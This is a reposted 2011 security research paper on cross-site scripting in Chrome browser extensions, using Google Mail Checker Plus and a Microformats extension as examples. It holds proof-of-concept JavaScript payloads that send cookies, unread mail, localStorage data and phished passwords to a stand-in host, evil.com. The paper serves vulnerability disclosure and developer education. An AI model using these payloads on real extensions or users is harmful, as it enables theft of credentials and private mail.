Exploit Web Application Vulnerabilities in Context of Browser Extensions

Exploiter · 21 Дек 2022

Код:

================================================================
Web application vulnerabilities in context of browser extensions
================================================================

:Authors: Taras Ivashchenko 
:Contact: http://oxdef.info
:Date: 2011-01-16
:Copyright: This work is licensed under a `Creative Commons Attribution-Share Alike 3.0 Unported License <http://creativecommons.org/licenses/by-sa/3.0/>`_	

Intro
-----

Current days Google Chrome web browser becomes more and more popular. 
It is really fast, easy-to-use and in same time powerful browser. I will not write about whole
security architecture of Chrome. There is a good article about it by Larry Seltzer 
called "Google's Chrome Extensions Show Security Focus"[#]_. Let's focus our attention 
on Chrome extensions platform. Like Mozilla Firefox Chrome supports extensions or addons, 
which makes your web surfing with it more comfortable. 

What are extensions in Google Chrome browser? Extensions_ are small software programs that can modify 
and enhance the functionality of the Chrome browser. Developers writes them using well-know 
web technologies such as HTML, JavaScript (including HTML5_ features) and CSS. Using of such technologies 
of course makes developing ease. But what security risks they will bring to us?

.. [#] "Google's Chrome Extensions Show Security Focus" by Larry Seltzer, PC Magazine, 
       http://www.pcmag.com/article2/0,2817,2359778,00.asp
.. _HTML5: http://dev.w3.org/html5/spec/Overview.html
.. _Extensions: http://code.google.com/chrome/extensions/index.html

XSS
---

Lets look on popular (18,368 installations per week) extension called "Google Mail Checker Plus" [#]_.
This extension simply displays the number of unread messages in your Gmail inbox, 
can make preview of mail and supports desktop notifications_.

.. figure:: http://oxdef.info/papers/ext/img/google_mail_checker_plus.png

    Mail preview in popup of Google Mail Checker Plus

On preview we can see at least subject, from and piece of body of letter. 
Ok, lets send to us self letter with subject like: ::
    
    2"'><script src="http://evil.com/own.js"></script>

`own.js` is simple javascript demo payload: ::
    
    document.body.innerHTML = '';
    img = new Image();
    img.src = 'http://evil.com/stallowned.jpg';
    document.body.appendChild(img);

For the first we see such notification:

.. figure:: http://oxdef.info/papers/ext/img/gmail_checker_xss_notificate.png

    XSS in Google Mail Checker Plus notification part

For the second we click on extension's icon and see our worked payload in popup window:

.. figure:: http://oxdef.info/papers/ext/img/gmail_checker_xss.png

    XSS in Google Mail Checker Plus 

It works! By the way this XSS has been already reported_ by Lostmon in **June 03, 2010**
and fixed version of extension is available. Lostmon wrote that: 

    "All extensions runs over his origin and no have way to altered data 
    from extension or get sensitive data like , email account or password 
    etc.."

Let's discover this web vulnerability in context of **this** extension to understand risks.

.. [#] https://chrome.google.com/extensions/detail/gffjhibehnempbkeheiccaincokdjbfe
.. _reported: http://lostmon.blogspot.com/2010/06/gmail-checker-plus-chrome-extension-xss.html
.. _notifications: http://www.html5rocks.com/tutorials/notifications/quick/

Cookies
~~~~~~~

Authentication data stored in cookie's is popular target for XSS_ attacks. But extension scripts works in
its own origin so extension can't directly access cookie by using `document.cookie` object. 
It needs to use special `cookies API`_ and have permissions for this purpose and for target hosts. 
For example (piece of manifest): ::

    {
        "name": "My extension",
        ...
        "permissions": [
        "cookies",
        "*://*.google.com"
        ],
    ...
    }

The risk occurs when extension have to much permissions, e.g. cookies and big number of hosts in manifest.
In such case XSS vulnerability will become more dangerous because evil payload will gain access to cookies 
of **all** these allowed hosts using cookies API like this: :: 

    chrome.cookies.getAll({}, function(cookies) {
        var dump = 'COOKIES: ';
        for (var i in cookies) {
            dump += cookies[i].domain + ':' + cookies[i].name  + ':' + cookies[i].value + ' | ';
        }
        img = new Image();
        img.src = 'http://evil.com/stallowned.jpg?' + dump;
        document.body.appendChild(img);
    });

.. _cookies API: http://code.google.com/chrome/extensions/cookies.html
.. _XSS: http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Browser data as target and permissions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In previous section was described a risk when through XSS attack on extension in particular cases
(special permissions must be granted) malicious man can gain access to cookies from different sites.
It concerns and such things like bookmarks, history and other things which can be granted in permissions_ section
of manifest file and can be accessed through chrome API! There for XSS in such extension can lead 
compromise user's desktop sensitive data and this risk strongly depends on how much permissions does extension have.

.. _permissions: http://code.google.com/chrome/extensions/manifest.html#permissions

Gmail's External content control bypass
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

It is of course not critical risk but if malicious man can execute arbitrary
JavaScript code in concrete letter he can inject e.g. `IMG` tag and see that the image is being fetched.
Therefore he will know when you will have read the message **even** if you have switched off displaying 
of external content.

Message data theft
~~~~~~~~~~~~~~~~~~~~

It is much worse risk! Imagine that you will receive such payload ::

    var dump = '';
    var e = document.getElementsByTagName('a');
    i=0;
    while(i < e.length) { 
        if (e[i].className == 'openLink') {
            dump += e[i].innerText + ' | ';
        }
        i++;
    }
    img = new Image();
    img.src = 'http://evil.com/sniff.jpg?' + dump;
    document.body.appendChild(img);

Yes, this is simple code for dumping unread messages and malicious man can get your mail **private** data
from `popup` HTML document: senders, subjects, pieces of message body! I see your scared look =)

Extension settings leakage
~~~~~~~~~~~~~~~~~~~~~~~~~~

Extensions can save sensitive data (commonly settings) using the HTML5 web storage API 
(such as localStorage) which is supported in Google Chrome. Yes, it is unlikely but not impossible. 
For example extension with bad architecture can store there some account information. 
Dumping such data is trivial task: ::

    var dump = ' LOCALSTORAGE: ';
    for (i = 0; i < localStorage.length; i++ ) {
        dump += "KEY: " + localStorage.key(i);
        dump += " VALUE: " + localStorage.getItem(localStorage.key(i)) + " | ";
    }
    img = new Image();
    img.src = 'http://evil.com/sniff.jpg?' + dump;
    document.body.appendChild(img);


Fishing
~~~~~~~

As already I said extension can't directly access cookies data. Stealing of authentication data by XSS 
in such case is not so trivial but malicious man can simply use fishing technique and ask user to 
submit this data him self! ::

    var msg = 'Please, enter account information.';
    msg += '<form action="http://evil.com/login">Username: <input type=text name=user>';
    msg += ' <br>Password: <input type=password name=pass><br><input type=submit></form>';
    document.body.innerHTML = msg;

This image looks ugly but don't forget that it simple PoC.

.. figure:: http://oxdef.info/papers/ext/img/fishing.png

    Fishing attack vector


JSON data leakage
~~~~~~~~~~~~~~~~~

JSON is a lightweight data-interchange format and it is mostly used in AJAX web applications in client-server
data interchange. There are at least 2 security issues:

1. Usage of `eval()` JavaScript function to parse received untrusted/not controlled JSON data. Google developers 
gives advance notice in Security considerations_ about this risk in developer's guide.

2. This less obvious but interesting problem called JavaScript hijacking_. 
If JSON(P) is used to carry sensitive data in insecure way it can lead a data leakage. 
In context of extension it is common as for usual AJAX web application - there is no differences. 
Malicious man can sniff and discover client-server data exchange of extension. And if he find 
insecure usage of JSON(P) he will have opportunity to attack users and steal their sensitive data.

.. _hijacking: http://www.owasp.org/index.php/OWASP_AJAX_Security_Guidelines#JSON
.. _considerations: http://code.google.com/chrome/extensions/xhr.html

Content scripts
~~~~~~~~~~~~~~~

For example, you want to change color theme of some page which you visits to your own colors.
Another good example is surrounding all plain-text URLs on the page with `A` HTML tag.
There is thing for such purposes called `content scripts`_. A content script is some 
JavaScript that executes **in the context of a page** (not extension) 
that's been loaded into the browser. So these content scripts can **read** and **modify** data on the page.

Content scripts are very limited in chrome APIs and can't:

* Use chrome.* APIs (except for parts of chrome.extension)
* Use variables or functions defined by their extension's pages
* Use variables or functions defined by web pages or by other content scripts
* Make cross-site XMLHttpRequests

But content scrips **can** communicate with parent extension by exchanging messaging_.
Because content scrips can read and modify web pages we have at least 2 risks: 

1. Bad coded content script can add vulnerability (e.g. XSS) to the page by modifying content of it
2. Bad page can attack extension

Lets look into follow piece of HTML code (it is popular hCard_ microformat): ::

    <div class="vcard">
       <div class="fn">James Bond</div>
       <div class="org">MI-6</div>
       <div class="tel">604-555-1234</div>
       <a class="url" href="123:<script>d = document.createElement('div');d.innerHTML='<h1>XSS</h1>';document.body.appendChild(d);</script>233">http://example.com/</a>
     </div>

If we visit page with such demo code and have Microformats extension installed, this extension will try to parse 
it and show it to us:

.. figure:: http://oxdef.info/papers/ext/img/microformats_xss.png
    
    Attack on Microformats extension (using content scripts)

As you can see malicious code is executed. What are risks? This extension connects 
with your Google account by OAuth and have access to your **Google Contacts**.  This simple code: ::
    
    $(".submithcard").click()

will add evil contact to your Google contacts. One more interesting thing in this case is by default
content scripts can only communicate with parent extension through messages and in this case we can see 
how evil payload can be passed from content script to popup action. In popup action we can do much more.

.. _content scripts: http://code.google.com/chrome/extensions/content_scripts.html
.. _messaging: http://code.google.com/chrome/extensions/messaging.html
.. _hcard: http://microformats.org/wiki/hcard

Outro
-----

Google Chrome has really good extension's architecture and Google developers gives enough possibilities 
to create full-featured and secure extensions. In same time we can see very interesting thing 
when chosen technologies (HTML, CSS and JavaScript) brings (ok, **not technologies but 
unclever extension's authors**:) with them self such security problem like XSS  to your desktop. 
And risks from XSS in such case can be much dangerous then in usual web application. So it is highly recommended to 
all extension's developers to read "Security considerations" sections in Developer's Guide.

Поиск

Exploit Web Application Vulnerabilities in Context of Browser Extensions

Exploiter

Похожие темы